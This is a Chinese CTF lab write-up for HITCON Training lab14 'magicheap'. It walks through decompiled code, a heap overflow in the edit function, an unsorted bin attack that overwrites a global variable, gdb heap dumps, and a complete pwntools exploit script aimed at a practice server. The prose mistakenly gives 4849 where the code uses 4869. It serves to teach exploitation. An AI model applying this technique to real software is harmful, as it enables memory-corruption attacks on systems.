HITCON Training lab14 magic heap 堆技巧unsroted bin attack
常规检查
逆向分析
--------------------------------
Magic Heap Creator
--------------------------------
1. Create a Heap
2. Edit a Heap
3. Delete a Heap
4. Exit
--------------------------------
Your choice :
create_heap 函数
unsigned __int64 create_heap()
{
signed int i; // [rsp+4h] [rbp-1Ch]
size_t size; // [rsp+8h] [rbp-18h]
char buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
for ( i = 0; i <= 9; ++i )
{
if ( !heaparray[i] )
{
printf("Size of Heap : ");
read(0, &buf, 8uLL);
size = atoi(&buf);
heaparray[i] = malloc(size);
if ( !heaparray[i] )
{
puts("Allocate Error");
exit(2);
}
printf("Content of heap:", &buf);
read_input(heaparray[i], size);
puts("SuccessFul");
return __readfsqword(0x28u) ^ v4;
}
}
return __readfsqword(0x28u) ^ v4;
}
- heaparray 数组:存放 chunk 的首地址。
- read_input 函数:把我们输入的内容写入 chunk 中。
edit 函数
int edit_heap()
{
__int64 v1; // [rsp+0h] [rbp-10h]
size_t v2; // [rsp+8h] [rbp-8h]
printf("Index :");
read(0, &v1 + 4, 4uLL);
LODWORD(v1) = atoi(&v1 + 4);
if ( v1 < 0 || v1 > 9 )
{
puts("Out of bound!");
_exit(0);
}
if ( !heaparray[v1] )
return puts("No such heap !");
printf("Size of Heap : ", &v1 + 4, v1);
read(0, &v1 + 4, 8uLL);
v2 = atoi(&v1 + 4);
printf("Content of heap : ", &v1 + 4, v1);
read_input(heaparray[v1], v2);
return puts("Done !");
}
可以再次编辑 chunk 的内容,而且可以选择输入大小。如果我们这次输入的 size 比创建时大的话,就会导致堆溢出
delete 函数
int delete_heap()
{
int v1; // [rsp+8h] [rbp-8h]
char buf; // [rsp+Ch] [rbp-4h]
printf("Index :");
read(0, &buf, 4uLL);
v1 = atoi(&buf);
if ( v1 < 0 || v1 > 9 )
{
puts("Out of bound!");
_exit(0);
}
if ( !heaparray[v1] )
return puts("No such heap !");
free(heaparray[v1]);
heaparray[v1] = 0LL;
return puts("Done !");
}
释放对应 index 的 chunk,并将数组 heaparray 对应的地址置 0。
main 函数
if ( v3 > 3 )
{
if ( v3 == 4 )
exit(0);
if ( v3 == 4869 )
{
if ( magic <= 0x1305 )
{
puts("So sad !");
}
else
{
puts("Congrt !");
get_flag();
}
}
magic 为在 bss 段的全局变量,如果我们能够控制 v3 为 4849 并且覆写 magic 使其值大于 0x1305 ,就能 get flag 。
整体思路
首先通过 unsorted bin attack 覆盖 magic 为一个很大的值,然后然后输入使 v3 等于 4849 既可以进入 get flag 函数拿 shell。
利用过程
create_heap(0x20, "dada") # 0
create_heap(0x80, "dada") # 1
# in order not to merge into top chunk
create_heap(0x20, "dada") # 2
del_heap(1)
magic = 0x6020a0
fd = 0
bk = magic - 0x10
edit_heap(0, 0x20 + 0x20, "a" * 0x20 + p64(0) + p64(0x91) + p64(fd) + p64(bk))
首先创建三个 chunk ,chunk 2 是为了防止 free chunk 1 的时候 chunk 1 与 top chunk 合并,然后我们 free 掉 chunk 1 , chunk 1 大小大于 global_max_fast ,所以 free 掉之后会进入 unsorted bin 。然后我们通过 chunk 0 溢出覆写 chunk 1 的 bk 指针,此时 heap 情况如下
gdb-peda$ parseheap
addr prev size status fd bk
0x2502000 0x0 0x30 Used None None chunk 0
0x2502030 0x0 0x90 Freed 0x0 0x602090 chunk 1
gdb-peda$ x /12xg 0x2502000
0x2502000: 0x0000000000000000 0x0000000000000031 chunk 0
0x2502010: 0x6161616161616161 0x6161616161616161
0x2502020: 0x6161616161616161 0x6161616161616161
0x2502030: 0x0000000000000000 0x0000000000000091 chunk 1
0x2502040: 0x0000000000000000 0x0000000000602090 bk
0x2502050: 0x0000000000000000 0x0000000000000000
可以发现,我们已经成功把 chunk 1 的 bk 指针覆写 为 magic - 0x10
create(0x80,'aaaa')
然后我们再次创建与 chunk 1 同样大小的 chunk ,被 free 掉的 chunk 1 就会从 unsorted bin 中取出,做脱链操作
unsorted_chunks(av)->bk = bck = victim->bk = magic - 0x10;
bck->fd = *(magic - 0x10 + 0x10) = unsorted_chunks(av);
即我们向 magic 写入了一个 大于 0x1305 的值(unsorted bin 链表头地址),然后我们再次 malloc 与 unsorted bin 一样大小的块就可以进入 get_flag 成功拿 shell 。
拿 shell get flag
exp 脚本
from pwn_debug import *
pdbg = pwn_debug('magicheap')
pdbg.remote('node3.buuoj.cn',29077)
pdbg.local()
r = pdbg.run('remote')
def create(size,content):
r.recvuntil(':')
r.sendline('1')
r.recvuntil(':')
r.sendline(str(size))
r.recvuntil(':')
r.sendline(content)
def edit(idx,size,content):
r.recvuntil(':')
r.sendline('2')
r.recvuntil(':')
r.sendline(str(idx))
r.recvuntil(':')
r.sendline(str(size))
r.recvuntil(':')
r.sendline(content)
def delete(idx):
r.recvuntil(':')
r.sendline('3')
r.recvuntil(':')
r.sendline(str(idx))
create(0x20,'aaaa')
create(0x80,'bbbb')
create(0x20,'cccc')
#gdb.attach(r)
delete(1)
#gdb.attach(r)
magic = 0x6020a0
fd = 0
bk = magic -0x10
edit(0,0x40,'a' * 0x20 + p64(0) + p64(0x91) + p64(fd) + p64(bk))
#gdb.attach(r)
create(0x80,'aaaa')
r.recvuntil(":")
r.sendline('4869')
r.interactive()